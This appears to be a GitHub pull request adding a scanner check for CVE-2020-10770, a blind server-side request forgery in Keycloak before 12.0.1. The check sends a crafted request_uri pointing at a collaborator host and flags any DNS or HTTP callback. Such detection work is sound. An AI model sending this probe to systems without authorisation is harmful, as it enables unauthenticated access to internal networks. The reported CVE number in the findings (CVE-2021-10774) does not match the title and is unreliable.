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Create CVE-2020-10770 Keycloak request_uri SSRF #43

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merged 2 commits into from
Jul 13, 2023
Merged

Create CVE-2020-10770 Keycloak request_uri SSRF #43

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Create CVE-2020-10770 Keycloak request_uri SSRF
mrrootsec Jul 12, 2023
213c546
Update CVE-2020-10770 Keycloak request_uri SSRF
mrrootsec Jul 13, 2023
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30 changes: 30 additions & 0 deletions vulnerabilities-CVEd/CVE-2020-10770 Keycloak request_uri SSRF
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metadata:
language: v1-beta
name: "Keycloak before 12.0.1 version - request_uri Blind Server-Side Request Forgery (Unauthenticated)"
description: "Keycloak allows an unauthenticated attacker to send arbitrary values in 'request_uri' parameter and interact with internal network resources which is otherwise not accessible externally. An attacker may use this feature to perform Blind SSRF (Server-side request forgery) attacks on the server."
author: "mrrootsec"
tags: "keycloak", "cve", "ssrf"

run for each:
potential_path = `/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{generate_collaborator_address()}`

given host then
send request:
method: `GET`
path: {potential_path}

if dns interactions then
report issue:
severity: info
confidence: certain
detail: "Vulnerable to CVE-2021-10774 - Keycloak - request_uri Blind Server-Side Request Forgery (SSRF)"
remediation: "Upgrade to the latest version of Keycloak"
end if

if http interactions then
report issue:
severity: high
confidence: certain
detail: "Vulnerable to CVE-2021-10774 - Keycloak - request_uri Blind Server-Side Request Forgery (SSRF)"
remediation: "Upgrade to the latest version of Keycloak"
end if